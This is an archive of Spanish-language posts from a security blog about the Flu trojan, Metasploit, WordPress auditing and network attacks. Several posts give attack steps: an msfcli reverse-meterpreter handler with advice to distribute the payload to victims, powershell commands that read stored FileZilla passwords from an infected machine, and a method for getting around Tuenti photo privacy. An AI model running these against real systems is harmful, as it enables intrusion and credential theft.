31 ago 2012

Flu Project en el congreso de la IEEE en Madrid

Hola a tod@s! El pasado 27 de Julio tuve el placer de hacer una presentación en el workshop SBC. El objetivo de la charla era presentar, por primera vez, Flu Project a la comunidad internacional. Por supuesto, estuve muy bien acompañada por Pablo y Juanan que no se lo podían perder :) Este workshop del IEEE se celebra bianualmente en diferentes partes del mundo y este año se ha celebrado en la facultad de Teleco de la UPM de Madrid.

El evento acogió a más de 400 alumnos de diversas especialidades y de diferentes partes del mundo. Nos gustaría agradecer la buena organización por parte del personal de la facultad, así como de los miembros del IEEE y la Universidad Rey Juan Carlos de Madrid. En la página web podéis consultar más información. http://www.sbcmadrid.es/ Como la charla fue en inglés, más abajo os dejo este mismo texto traducido para tod@s l@s no hispano-hablantes interesad@s.

A continuación os muestro un breve resumen de la charla, titulada "Botnets, malware and network attacks", y cómo estuvo estructurada: - En primer lugar, comenzamos con una introducción a Flu: su filosofía, los diferentes aspectos que recoge y las características del proyecto. - Después, repasamos los diferentes tipos de malware: virus, gusanos, troyanos, rootkits, spyware y bombas lógicas, analizando sus peculiaridades y diferencias entre ellos. - A continuación nos metimos de lleno con las botnets: qué son, cómo se pueden usar, cuáles son sus peligros... En este punto abordamos la explicación del troyano Flu, analizando en detalle sus características así como su funcionamiento basado en la arquitectura cliente-servidor. Flu dispone de funciones de keylogger, cmd remoto y powershell, captura de pantalla y micrófono, robo de ficheros, acceso al registro y a los contactos de MSN, acceso a passwords e historia web, etc. Además, permite enviar comandos a un equipo concreto de la red o toda la botnet. Todos estos conceptos quedaron ilustrados en una completa demostración práctica de las funcionalidades de Flu.

Los usuarios de móviles pueden estar interesados en una versión de la interfaz de usuario de Flu desarrollada para Android. Respecto al impacto de Flu, cabe destacar que ha sido utilizado en un proyecto de fin de carrera de la universidad de Deusto. El objetivo del proyecto es detectar tráfico proveniente de botnets, y una versión de Flu se ha utilizado para llevar a cabo los experimentos. Y tras ello llegamos a la última parte de la charla, en la cual se ilustraron algunos ataques de red, como sniffing, ARP Spoofing y hijacking. Esperamos que los asistentes disfrutaran de la charla tanto como nosotros :) Desde aquí os agradecemos vuestra asistencia e interés. Aquí os dejamos las transparencias por si les queréis echar un vistazo.

Esperamos veros en la próxima charla! Gracias y hasta pronto!

Carmen

30 ago 2012

Flunym0us disponible también desde la distribución Bugtraq

 

Buenas a todos, el mes pasado os comentábamos que Flu había sido incluido en el arsenal de herramientas de tipo malware que lleva incluida la distribución de Linux orientada a auditoría, Bugtraq. Pues bien, no es la única de nuestras herramientas que han pasado a formar parte de Bugtraq, ya que también tendréis disponible Flunym0us, nuestro escaner de vulnerabilidades para Wodpress y Moodle, desde el apartado de Auditoría Web :)

Este mes hemos llegado a un acuerdo con los responsables del desarrollo de Bugtraq para colaborar con ellos en el desarrollo de la próxima versión de esta gran distribución con sabor español. Por lo que no descartéis que pronto haya una versión más completa de nuestras herramientas principales para que podáis utilizarlas desde Bugtraq en vuestros procesos de auditoría ;)

Saludos!

29 ago 2012

Msfvenom: la cosa va de payloads y encoders

Esta herramienta que pertenece al framework de Metasploit, no dispone de una larga vida... allá por 2011 es cuando explota y muestra su potencial y flexibilidad. Más bien, su flexibilidad, ya que el potencial ya es conocido, ¿Por qué es conocido? Realmente msfvenom es la unión de msfpayload y msfencode. Como recordatorio decir que msfpayload se encarga de generar payloads para distintas plataformas, mientras que msfencode se encarga de codificar dichos payloads con el objetivo de evadir la detección mediante el uso de antivirus.

Hay que comentar que la riqueza semántica que aporta msfvenom es digna de mencionar. Normalmente, este tipo de aplicaciones, como son las predecesoras msfpayload y msfencode, proporcionan parámetros del estilo -<letra>, lo cual no aporta mucha información al auditor, atacante, usuario casero o quien quiera que lo esté usando... Con msfvenom se dispone de parámetros semánticos, lo cual hace que la aplicación sea realmente intuitiva y sencilla de utilizar.

Beneficios de msfvenom

Los beneficios de msfvenom se enumeran a continuación:

  • Se simplifica la generación de payloads y los intentos de codificación de éstos.
  • Se presenta como una herramienta estándar que ayuda a los auditores y a cualquier usuario su manejo. Es realmente intuitiva y con fácil aprendizaje.
  • El rendimiento ha sido mejorado considerablemente. La velocidad con la que msfvenom trabaja es claramente más alta que el uso de msfpayload y msfencode por separado. Esto es bastante lógico debido a que se evita el paso de información entre distintos procesos, y toda acción es realizada por el mismo proceso.
Opciones de msfvenomAlgunas de las opciones más útiles de msfvenom se enumeran a continuación:
  • Payload. Este parámetro especifica el payload que se utilizará.
  • Encoder. Este parámetro especifica el algoritmo que se utilizará para realizar la codificación.
  • Format. Especifica el formato, normalmente EXE :D
  • Bad-chars. Este parámetro indica un listado de bytes que no se deben generar en el proceso de obtención del payload. Por ejemplo, si se quieren evitar los bytes nulos '\x00' se añaden en la lista de este parámetro.
  • Iterations. Indica el número de iteraciones que se ejecutará el algoritmo del encoder.
  • Template. Indica la plantilla de ejecutable que se utilizará.
  • Keep. Especifica que el payload se ejecutará en un thread y no en el main del ejecutable. Con esta opción se implementa la técnica de plantilla personalizada sigilosa.
Ejemplo o prueba de concepto: msfvenom y el ejecutable meterpreter

En este breve ejemplo se utilizará msfvenom para crear un ejecutable para sistemas windows con el que, cuando la víctima ejecute el archivo devolverá el control de la máquina al atacante. En primer lugar el atacante utiliza msfcli para lanzar el manejador, configurado para recibir sesiones inversas de meterpreter. La orden sería la siguiente msfcli exploit/multi/handler lhost=<ip atacante> lport=<puerto atacante> payload=windows/meterpreter/reverse_tcp.

Ahora, creamos el ejecutable de la siguiente manera:

Una vez que el archivo es creado se debe distribuir, aquí ya... ya sabéis: "El límite es tu imaginación". Ahora, una vez que la víctima ejecute el archivo recibiremos la sesión inversa, teniendo una sesión de meterpreter, con todo lo que ello conlleva! que no es poco... :D

Análisis de virus total

Por último, hablaremos de un análisis sobre el ejecutable que hemos creado. Hay que tener en cuenta que en la prueba de concepto hemos utilizado una plantilla, que es el ejecutable de RootkitRevealer, para inyectarle un payload. ¿Cuantos antivirus salvaremos? En la siguiente imagen se puede visualizar los resultados.

Metasploit da mucho juego, y el framework aporta una riqueza y flexibilidad a los pentesters inigualable. En Flu Project creemos que a finales de año y principios del proximo será el año Metasploit! Esperemos que así sea... :D

28 ago 2012

La Biblia del Footprinting (XII de XX)

Buenas a todos, hoy seguiremos hablando de Google Hacking en la Biblia del Footprinting explotando los verbos EXT e INURL.

Si hay algo divertido del verbo EXT, es utilizarlo para localizar archivos atípicos, por ejemplo, archivos INI. Si realizáis búsquedas por ficheros "Desktop.ini" encontraréis miles de archivos indexados en Google.

¿Qué significa esto? La respuesta es sencilla, los servidores web tienen habilitados los listados de directorios, por lo que si cogemos las urls y quitamos la parte del "/Desktop.ini", veremos el contenido de la carpeta que lo contenía y un mensaje al final indicando que se trata de una máquina X, en este caso concreto, CentOS con un Apache 2.2.3:

¿Gracia de esto? Por ejemplo, el acceso a los logs de conexiones...:

Donde podremos ver por ejemplo (en otro log de otro servidor), rutas internas, averiguando en este caso que se trata de una máquina Windows:

Especial hincapié deberemos poner a la hora de localizar ficheros que podrían contener datos personales, lo que podría estar violando sendas leyes, como la LOPD en el caso de España (no es el caso del ejemplo):

Pero estas técnicas no solo pueden ser utilizadas para analizar vulnerabilidades, también pueden ser utilizadas por ejemplo, para saber si la organización propietaria de los servidores descarga música de Internet (legal o ilegalmente... eso lo judgará el contratante de la auditoría):

Podemos seguir rascando y ver como no es solamente un disco... (la SGAE matará más de un inocente gatito...:( si fuesen de España claro... ):

Y esa música es solamente del mes de Enero...

¿Y por qué no...? podemos escuchar música gratuita en streaming desde su servidor:

Cuidado con los desktop.ini, bueno mejor dicho... cuidado con los listados de directorios!

Saludos!

27 ago 2012

Auditando un Wordpress (Parte VI)

Buenas a todos, hoy continuaremos la cadena sobre auditoría de Wordpress hablando sobre algunas herramientas que nos permitirán realizar un fingerprint a nuestro wordpress e incluso escanear posibles vulnerabilidades.

Además de Flunym0us, en el mercado encontramos otras herramientas de gran calidad que nos permitirán automatizar ciertas labores a la hora de auditar un Wordpress. Una de ellas es Nmap, con el plugin http-wp-plugins que permite listar plugins mediante fuzzing por diccionario al igual que hace Flunym0us. Aunque mis dos preferidas son Plecost (python), de nuestros amigos de Iniqua, @ggdaniel y @ffranz (alguno de sus integrantes nos debe una versión especial de Flu... guiño guiño) y WPScan (ruby), ambas disponibles en Backtrack (entre otras).

Empecemos por Plecost. Plecost nos va a permitir listar los plugins existentes en una instalación de Wordpress, además proporcionará la versión y procederá a compararla con la versión actual para verificar si es la última, a continuación devolverá los CVE correspondientes a la vulnerabilidad, en caso de ser conocida.

A continuación os mostramos un ejemplo de Plecost en el que analizamos un portal Wordpress y obtenemos, entre otros, los CVE de Akismet. En este caso el portal tenía una versión más actual que la tomada por Plecost como la última, imaginamos que porque no contábamos con la última versión del programa:

En el caso de WPScan,  podremos utilizarlo para enumerar usuarios y bruteforcear las claves, para ello podemos pasarle diccionarios con palabras. WPScan también nos recuperará la versión actual de Wordpress y el tema instalado:

No quería despedirme hoy sin nombrar la herramienta cms-explorer, no está entre mis preferidas porque es más lenta que las anteriores (aunque no por ello es más mala), pero lo bueno que tiene es que no solo permite auditar wordpress, si no también portales Joomla y Drupal. Podéis descargarlo desde la página oficial.

Eso es todo por hoy, saludos!

26 ago 2012

Informe Flu - 86

Comenzamos con el resumen de la semana:Lunes 20 de Agosto

Martes 21 de Agosto

  • El martes os trajimos una nueva viñeta en la que parodiábamos una SQL Injection como la entrada de un castillo (y es que hay algunas que son tan grandes como el portón de un castillo #verdadverdadera).

Miércoles 22 de Agosto

Jueves 23 de Agosto

Viernes 24 de Agosto

Sábado 25 de Agosto

 

25 ago 2012

Las imagenes más utilizadas en charlas y artículos de seguridad informática. Parte III

Buenas a todos, hoy os traemos la tercera entrega de las imágenes más utilizadas en charlas y artículos de seguridad informática con varias imágenes que no pueden faltar en una buena charla de malware. ¿Cuántas veces os las habéis encontrado? :)

   

24 ago 2012

Auditando un Wordpress (Parte V)

Buenas a todos, hoy continuaremos con el proceso de auditoría a Wordpress con la explotación de la autenticación mediante Metasploit. Hay otras herramientas y scripts rondando por Internet que funcionan muy bien también, pero Metasploit es posiblemente uno de los más sencillos de utilizar y más potentes.

Metasploit publicó un módulo para el CVE-2009-2335:

WordPress and WordPress MU before 2.8.1 exhibit different behavior for a failed login attempt depending on whether the user account exists, which allows remote attackers to enumerate valid usernames. NOTE: the vendor reportedly disputes the significance of this issue, indicating that the behavior exists for "user convenience."

El módulo se llama "Wordpress Brute Force and User Enumeration Utility". Podéis descargar el código fuente del módulo aquí. Es un módulo bastante completo, os dejo a continuación sus opciones:

 
BLANK_PASSWORDSTry blank passwords for all users (default: true)
BRUTEFORCEPerform brute force authentication (default: true)
BRUTEFORCE_SPEEDHow fast to bruteforce, from 0 to 5 (default: 5)
PASSWORDA specific password to authenticate with
PASS_FILEFile containing passwords, one per line
ProxiesUse a proxy chain
RHOSTSThe target address range or CIDR identifier
RPORTThe target port (default: 80)
STOP_ON_SUCCESSStop guessing when a credential works for a host
THREADSThe number of concurrent threads (default: 1)
URIDefine the path to the wp-login.php file (default: /wp-login.php)
USERNAMEA specific username to authenticate as
USERPASS_FILEFile containing users and passwords separated by space, one pair per line
USER_AS_PASSTry the username as the password for all users (default: true)
USER_FILEFile containing usernames, one per line
VALIDATE_USERSEnumerate usernames (default: true)
VERBOSEWhether to print output for all attempts (default: true)
VHOSTHTTP server virtual host
BasicAuthPassThe HTTP password to specify for basic authentication
BasicAuthUserThe HTTP username to specify for basic authentication
DOMAINThe domain to use for windows authentification
DigestAuthIISConform to IIS, should work for most servers. Only set to false for non-IIS servers
DigestAuthPasswordThe HTTP password to specify for digest authentication
DigestAuthUserThe HTTP username to specify for digest authentication
FingerprintCheckConduct a pre-exploit fingerprint verification
MaxGuessesPerServiceMaximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUserMaximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
MaxMinutesPerServiceMaximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
NTLM::SendLMAlways send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLMActivate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPNSend an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKeyActivate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_sessionActivate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
REMOVE_PASS_FILEAutomatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILEAutomatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILEAutomatically delete the USER_FILE on module completion
SSLNegotiate SSL for outgoing connections
SSLVersionSpecify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
ShowProgressDisplay progress messages during a scan
ShowProgressPercentThe interval in percent that progress should be shown
UserAgentThe User-Agent header to use for all requests
WORKSPACESpecify the workspace for this module
HTTP::header_foldingEnable folding of HTTP headers
HTTP::method_random_caseUse random casing for the HTTP method
HTTP::method_random_invalidUse a random invalid, HTTP method for request
HTTP::method_random_validUse a random, but valid, HTTP method for request
HTTP::pad_fake_headersInsert random, fake headers into the HTTP request
HTTP::pad_fake_headers_countHow many fake headers to insert into the HTTP request
HTTP::pad_get_paramsInsert random, fake query string variables into the request
HTTP::pad_get_params_countHow many fake query string variables to insert into the request
HTTP::pad_method_uri_countHow many whitespace characters to use between the method and uri
HTTP::pad_method_uri_typeWhat type of whitespace to use between the method and uri (accepted: space, tab, apache)
HTTP::pad_post_paramsInsert random, fake post variables into the request
HTTP::pad_post_params_countHow many fake post variables to insert into the request
HTTP::pad_uri_version_countHow many whitespace characters to use between the uri and version
HTTP::pad_uri_version_typeWhat type of whitespace to use between the uri and version (accepted: space, tab, apache)
HTTP::uri_dir_fake_relativeInsert fake relative directories into the uri
HTTP::uri_dir_self_referenceInsert self-referential directories into the uri
HTTP::uri_encode_modeEnable URI encoding (accepted: none, hex-normal, hex-all, hex-random, u-normal, u-all, u-random)
HTTP::uri_fake_endAdd a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_startAdd a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_urlUse the full URL for all HTTP requests
HTTP::uri_use_backslashesUse back slashes instead of forward slashes in the uri
 

Como veis, opciones no le faltan :) Permite desde usar un proxy y/o modificar el user agent de las peticiones, hasta hacer ataques por diccionario con contraseñas, probar todos los usuarios con la contraseña en blanco, etc. También permite enumerar los usuarios al igual que hacía W3af.

Le sacaremos mucha utilidad en una auditoría de Wordpress, pero tened en cuenta que vamos a dejar un gran rastro en los logs y aumentaremos la carga del servidor, por lo que cuidado al usarlo.

Saludos!

 

 

23 ago 2012

Interceptando contraseñas mediante SSLStrip

Buenas a todos, en el post de hoy os traemos un videotutorial en el que veréis paso por paso como utilizar la herramienta SSLStrip de la que ya hablamos hace varios meses en Flu Project con éste artículo, para hacer creer al usuario que está bajo una conexión segura, ya sea porque el usuario ve un candadito que indica seguridad, sslstrip puede falsificarlo, o por que el usuario no se fija si está bajo tráfico cifrado o no, con el fin de robar sus credenciales.

¡Disfrutarlo!:

[youtube aOXhfotDMuo nolink]

Saludos!

22 ago 2012

Denegando el servicio de Youtube a una TV Toshiba

Buenas a todos, hace un par de meses me compré una TV Toshiba en una oferta de Worten (esa de que por cada 500€ de compra te regalaban 100€). La TV es de 40'' y 3D (ya han caido algunos vicios importantes a la Xbox...), pero la funcionalidad que nos interesa y a la que más juego le sacaremos en este post es a su modo de TV por Internet.

Lo primero que se me vino a la cabeza fue el genial post de nuestro amigo Lorenzo, de Security By Default, Hacking LG TV for fun and profit! en el que sacaba un gran rendimiento a su TV LG con Internet inyectando mensajes por pantalla.

Una vez imaginadas algunas posibilidades abrí Cain & Abel e hice un MitM entre la TV y el Router y arranqué Wireshark. Una de las cosas que más me impactó fue que gran parte de las comunicaciones iban cifradas por TLS, punto positivo para Toshiba.

Cuando accedes al panel de Internet del televisor, nos ofrece dos posibilidades, utilizar el servicio de Toshiba Places o utilizar Youtube. Seleccioné youtube y volví a Wireshark. La TV intentaba resolver la dirección http://gdata.youtube.com, se trata de la API de youtube que utiliza el sistema y a continuación realizaba una serie de peticiones a www.youtube.com, Dejé de trastear en ese momento porque al rato venían algunos amigos a casa y tocaba preparar cosas (pero lógicamente no podía dejar las cosas así...)

Aprovechando que nos pasamos la tarde en la TV viendo monólogos de Dani Rovira (que grande eres), para hacer la gracia me fuí a la habitación, arranqué el kit de nuevo y me puse a visualizar paquetes con Wireshark.Entonces aproveché la funcionalidad de Cain para hacer DNS Spoofing para redireccionar todas las peticiones a youtube hacia otra dirección IP..., y aquí tenéis el resultado:

 

Una denegación de servicio fácil y sencilla :)

La primer reacción de mis amigos fue comprobar si entraban a otros servicios como Toshiba Places para ver si nos habiamos quedado sin Internet (que efectivamente funcionaba), ¿se habrá caído youtube...? noo!

Bueno toca despedirse por hoy, en próximos posts os contaré las siguientes perrerias que estamos haciendo a la TV.

P.D. Y para los que dejé con el monógo de Dani Rovira a medias, podéis disfrutarlo desde aquí :)

[youtube ReKRBoZiyII nolink]

21 ago 2012

Las viñetas de Flu Project – 12

Buenas a todos, hoy volvemos con las viñetas de Flu Project con otra imagen que podéis utilizar para vuestras charlas y artículos. ¡Por Sparta!

¿Y vosotros también sois de los que os lanzáis a la ventura cuando veis un error SQL? :P

20 ago 2012

Auditando un Wordpress (Parte IV)

Buenas a todos, hoy continuaremos con la cadena de articulos sobre auditoría de Wordpress hablando sobre la enumeración de usuarios registrados en el CMS.

Wordpress permite a través de los parámetros "?author_name=nombre" y “?author=ID”, añadidos a la raíz de la web (http://www.miwordpress.com/?author=1) ver la información y los artículos publicados por un usuario registrador.  Nosotros lo utilizaremos con otro fin, el de comprobar si existe un usuario o no.

Podremos programarnos algunos scripts sencillos que recojan de un diccionario números y palabras con las que probar posibles nombres, pero para que la tarea sea más sencilla, W3af tiene ya entre sus utilidades un plugin para enumerar los usuarios, llamado "wordpress_enumerate_users".

A continuación os mostramos como funciona:

 

 

Una vez que hayamos enumerado los usuarios del Wordpress ¿qué podremos hacer con ello?. Pues como ya os imagináis, los utilizaremos para intentar autenticarnos con ellos en el portal, bien intentando averiguar la contraseña por lógica o ingeniería social, probando algunas de las contraseñas más utilizadas o el propio nombre de usuario por ejemplo, o bien haciendo un ataque de fuerza bruta. En próximos posts de la cadena os explicaré como realizar un ataque de fuerza bruta con Metasploit para intentar averiguar las claves y por supuesto, también daremos algunos consejos para hacer que nuestro wordpress no sea vulnerable a los ataques de fuerza bruta.

Además del listado de usuarios, también podremos intentar registrar un usuario en el portal (si la configuración así lo permite), para ello solo tendremos que ir a la url http://www.miwordpress.com/wp-admin  y pulsar en el link "Registrarse" (si existe).

Una vez registrado un usuario podremos ver si es posible acceder a una sección limitada de la zona interna en la que se muestren estadísticas, los plugins instalados... o quizás, si por defecto está configurado WP para que los usuarios se registren con permisos de administración, podríamos acceder al control de todo el portal, o si los usuarios se crean con permisos de author, a escribir y editar posts.

Espero que os esté gustando la cadena.

Hasta el próximo post, saludos!

19 ago 2012

Informe Flu - 85

Comenzamos con el resumen de la semana:Lunes 13 de Agosto

Martes 14 de Agosto

Miércoles 15 de Agosto

  • Ya os hablamos de la inseguridad del almacenamiento de contraseñas de Filezilla y en éste post os enseñaremos a robar sus credenciales mediante Flu :-)

Jueves 16 de Agosto

  • Volvemos con La biblia del Footprinting y Google Hacking sacándole partido a los verbos SITE y EXT que parecen no tener límites.

Viernes 17 de Agosto

  • Estamos de vacaciones, ¿se nota no? :P, pero aún así Flu Project no descansa... y os trae éste recopilatorio de los artículos que más nos han gustado de nuestro blog y del de nuestros amigos en los últimos meses.

Sábado 18 de Agosto

 

18 ago 2012

Las viñetas de Flu Project - 11

Buenas a todos, hacía tiempo que no publicábamos en el blog alguna viñeta, y aprovechando que últimamente estamos hablando de que siempre solemos utilizar las mismas imágenes en charlas y artículos :), hemos diseñado una viñeta en la que intentamos resumir las labores de un hacker. Podéis utilizarla para charlas y posts, ¡disfrutarla!

17 ago 2012

Flu sigue trabajando... y estos 2 ca... por ahí en la playa

Flu sigue pasando su particular verano trabajando para seguir trayendo nuevos artículos que puedan interesaros, mientras que Juanan y Pablo se encuentran mojándose en la playa. En este artículo de viernes vamos a recopilar algunos de los posts más interesantes del año y vamos a dar algunas cifras que nos llenan de orgullo...

Artículos que pueden interesaros tanto de Flu Project, como de los grandes de la seguridad:

Estos son nuestros imprescindibles para hoy, recordando un poco lo que ha sido el último mes... La defcon dió que hablar porque los españoles donde vamos damos la nota, para bien y para mal... Yo de la Defcon me quedo con Moxie y su rotura de MSChapv2.

En definitiva, vamos a dar algunas cifras, ya que queremos agradeceros a todos el número de visitas que llevamos... Más de 615.000 visitas en la historia de Flu Project, lo cual nos llena de orgullo y satisfacción, como diría nuestro monarca. No nos cansaremos de daros las gracias, y esperamos que participéis más, con vuestro feedback. :)

16 ago 2012

La Biblia del Footprinting (XI de XX)

Buenas a todos, en el post de hoy continuaremos nuestra cadena La Biblia del Footprinting hablando sobre como analizar si alguien está distribuyendo, entre otras cosas, software no autorizado de nuestra organización por ejemplo.

Google Hacking tiene mil utilidades, y una de las que más provecho estoy sacando ultimamente es la de buscar archivos en sitios como Skydrive de Microsoft haciendo uso de los verbos SITE y EXT (de los que hablábamos hace un par de artículos en esta cadena.) Podremos utilizarlos para ver si alguien está distribuyendo contenido de nuestra propiedad desde este canal (tranquilos, por el momento no nos hemos aliado con la SGAE :P)

¿Os gusta el juego plants vs. zombies?:

Imagino que también habrá algún fan de la serie Harry Potter por Skydrive...:

¿Habéis visto Piratas del Caribe? Alguien parece que sí...:

Hay que tener cuidado con este tipo de sistemas de almacenamiento en la nube que se integran con el correo electrónico. Hace bastantes meses me encontré con archivos doc en mi Google Docs que yo no había subido, y que por descarte concluí con que alguna vez los había enviado por correo electrónico y los había abierto desde Gmail... Así que revisad la configuración de vuestros sistemas de almacenamiento en la nube y no hagáis cosas malas.

Saludos!

15 ago 2012

Robando contraseñas FTP de FileZilla con Flu

Buenas a todos, hace algunos meses Pablo nos comentaba desde su post FileZilla: seguro fuera, inseguro en casa el agujero de seguridad que tenía el famoso cliente ftp, que almacenaba las contraseñas de los sitios almacenados en un fichero XML en texto plano en la ruta %SystemDrive%\Users\Usuario\AppData\Roaming\sitemanager.xml.

El fichero tiene el siguiente aspecto:
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?><FileZilla3><Servers><Server><Host>miweb.com</Host><Port>21</Port><Protocol>0</Protocol><Type>0</Type><User>Usuario_FALSO</User><Pass>Password_FALSA</Pass><Logontype>1</Logontype><TimezoneOffset>0</TimezoneOffset><PasvMode>MODE_DEFAULT</PasvMode><MaximumMultipleConnections>0</MaximumMultipleConnections><EncodingType>Auto</EncodingType><BypassProxy>0</BypassProxy><Name>Mi web</Name><Comments></Comments><LocalDir></LocalDir><RemoteDir></RemoteDir><SyncBrowsing>0</SyncBrowsing>Mi web</Server></Servers></FileZilla3>
Como véis almacena todos los datos de los ftps que tenemos almacenados en filezilla.También almacenaban en el archivo recentservers.xml, en la misma carpeta, todas las conexiones realizadas.Filezilla sabe desde hace tiempo este tema y por el momento ha decidido no tomar cartas en el asunto para mejorar la seguridad de nuestras contraseñas.Hoy veremos lo sencillo que es recuperar el contenido de estos ficheros XML de una máquina infectada con Flu.1.- En primer lugar, suponiendo que tenemos todo el entorno configurado (sino es así, echad un vistazo a éste video) deberemos infectar la máquina.2.- Una vez infectada accederemos al panel de administración de Flu3.- Ahora abriremos una shell dirigida hacia la máquina infectada4.- A continuación ejecutaremos la siguiente instrucción (si se trata de un equipo con powershell), sustituyendo MIUSUARIO, por el nombre del usuario de la victima, para recuperar el archivo sitemanager.xml. Hay otras maneras de mostrar este archivo, incluso podríamos traernoslos al servidor con la funcionalidad de Flu de recuperación de archivos :)
powershell cat 'C:\Users\MIUSUARIO\AppData\Roaming\FileZilla\sitemanager.xml'

 5.- Haremos lo mismo con el archivo "recentservers.xml":
powershell cat 'C:\Users\MIUSUARIO\AppData\Roaming\FileZilla\recentservers.xml'

Cuidado con esos filezillas, y cuidado con Flu, saludos!

14 ago 2012

Exponiendo imágenes de Tuenti

Hola,

Varias veces mi curiosidad me ha hecho pasar horas y horas estudiando una web y auditandola. Hoy le ha tocado a Tuenti... Y creo que ha merecido la pena, ahora ya se algo de como funciona, más allá de lo que se le muestra al usuario. También acabé encontrado una vulnerabilidad, no muy importante, pero vulnerabilidad al fin y al cabo. Sin embargo, no va a ser esto lo que explique en esta entrada. Será algo más simple:

En muchos casos, los usuarios que usamos Tuenti, nos hemos visto en la necesidad de compartir una foto con algún amigo, sin embargo, dicho amigo no tiene agregado al propietario de la foto, así que como es obvio, Tuenti deniega la visualización de la foto. Sin embargo, Tuenti almacena las imágenes en algún lugar, como en cualquier web, así que no hay mejor manera de visualizar la imagen, que obteniendo el enlace original... Pudiendo así ver/descargar/compartir la imagen. Veamos como se puede hacer:

Estando en mi perfil, hago click en mi foto de perfil, por ejemplo. Y Tuenti abre el siguiente enlace:

http://www.tuenti.com/#m=Photo&func=view_photo&collection_key=2-<miIDdeusuario>-576089239-<miIDdeusuario>-1298241562

Al mismo tiempo hace una petición a:

http://pdta.tuenti.com

Enviando la siguiente petición:

req=[{"csfr":"fac58570"},{"Photo":{"preloadPhotos":{"itemKey":"2-<miIDdeusuario>-576089239-<miIDdeusuario>-1298241562","backgrounded":false,"prefetchDirection":10,"offset":0,"source":"22","pc":{"wt":2}}}}]

En él, envía el "csfr", que es un token de sesión, y, si nos fijamos, el id de la imagen... En este id, identifica el usuario, el album, la foto etc etc. También envía algunas cosas mas que no hace falta explicar.

Después de la petición, Tuenti obtiene la respuesta con los datos, y los visualiza. Pero como yo quiero ver esos datos, hago esa petición desde el navegador, y obtengo como respuesta un archivo para descargar.

Al abrirlo, se pueden ver muchiiiiisimos datos, así como el nombre del que ha subido la foto, los etiquetados etc etc. Pero me centro en la primera parte, que sería lo siguiente:

{"output":[{"canSee":true,"2-<miIDdeusuario>-576089239-<miIDdeusuario>-1298241562":{"getPhoto":{"canSee":true,"itemKey":"2-<miIDdeusuario>-576089239-<miIDdeusuario>-1298241562","hasNotifications":false,"url":"http:\/\/tsimg.tuenti.net\/IlZslwP_P0MObX3rAA",

Como vemos, hay tenemos la dirección:

http://tsimg.tuenti.net/IlZslwP_P0MObX3rAA

Y ya esta, la imagen original lista para descargar y compartir, evitando los sistemas de Tuenti. Si bien el método es sencillo, las consecuencias no son muy buenas... Cualquiera de mis amigos agregados podría compartir mis fotos ¬¬ (en realidad sólo 4n0nym0us o p0is0n-123 sabrían ;). Y es algo que se solucionaría fácilmente cifrando los datos. Pero eso es algo que decidirá Tuenti. Yo mientras seguiré disfrutando de mi script extractor de enlaces xD

Saludos, $DoC.

13 ago 2012

Auditando un Wordpress (Parte III)

Buenas a todos, hoy continuaremos con la cadena de artículos sobre auditoría de Wordpress, hablando de los plugins. Una parte muy importante en un proceso de auditoría a WP será averiguar que plugins tiene instalados, ya que la mayor parte de las vulnerabilidades vendrán por ahí. Wordpress es un CMS usado por millones de usuarios y por tanto, muy probado, y a pesar de que cada pocos meses sale una nueva versión corrigiendo alguna vulnerabilidad, son una minoría en comparación con las que nos encontraremos en los plugins, a veces programados por desarrolladores que no tienen la experiencia suficiente en Wordpress y que conlleva a que comentan errores en la toma de medidas de seguridad en el código.

Hace varios meses programamos la herramienta Flunym0us, que permite listar los plugins de Wordpress y Moodle, mediante un ataque de Fuzzing por diccionario (tenemos una versión más completa de Flunym0us en pruebas, esperamos poder publicarla pronto). Con esta herramienta tendremos un listado con la mayoría de los plugins que tendrá instalado Wordpress, lo que nos permitirá googlear de nuevo en busca de posibles exploits para esos plugins que nos permitan acceder a la BBDD o a la parte interna del portal.

Flunym0us como muchos ya sabréis se encuentra desarrollado en python, por lo que necesitaréis un intérprete de python. Podéis descargar Flunym0us desde aquí.

Una vez descargado lo debéis descomprimir, abrir una consola y ejecutar la siguiente instrucción:
python flunym0us.py -wp http://domain wp-plugins.lst
Fácil ¿no? Y nos devolverá un resultado como el siguiente en el que se mostrarán los plugins instalados:

A continuación os dejo un listado con los plugins que más veces me suelo encontrar:

  • all-in-one-seo-pack
  • contact-form-7
  • akismet
  • add-to-any
  • google-analytics-for-wordpress
  • wp-postviews
  • tweetmeme
  • maintenance-mode
  • feedburner-plugin
  • wp-security-scan
  • secure-wordpress
  • get-recent-comments
  • gtranslate
  • login-lockdown
  • wordpress-firewall-2
  • absolute-privacy
  • stealth-login
  • most-commented
  • wp-polls
En el próximo artículo continuaremos hablando de auditoría de Wordpress, estudiando los usuarios registrados.Saludos!

12 ago 2012

Informe Flu - 84

Comenzamos con el resumen de la semana:Lunes 6 de Agosto

Martes 7 de Agosto

  • Pablo nos enseña con su curioso artículo Flu y la Rifiuti: Forensic Topic, a robar archivos de la papelera de una máquina infectada con Flu. Hay que sacarle el máximo partido al bicho verde... :).

Miércoles 8 de Agosto

  • El miércoles proseguimos con el artículo Flu y el lenguaje WMI. Ahora Flu comienza a parecer más poderoso ¿verdad? :-)

Jueves 9 de Agosto

  • Llegamos al ecuador de la cadena de artículos La biblia del Footprinting, en la que os enseñamos a sacar rendimiento a vuestros conocimientos en python para recolectar información.

Viernes 10 de Agosto

Sábado 11 de Agosto

 

11 ago 2012

Las imagenes más utilizadas en charlas y artículos de seguridad informática. Parte II

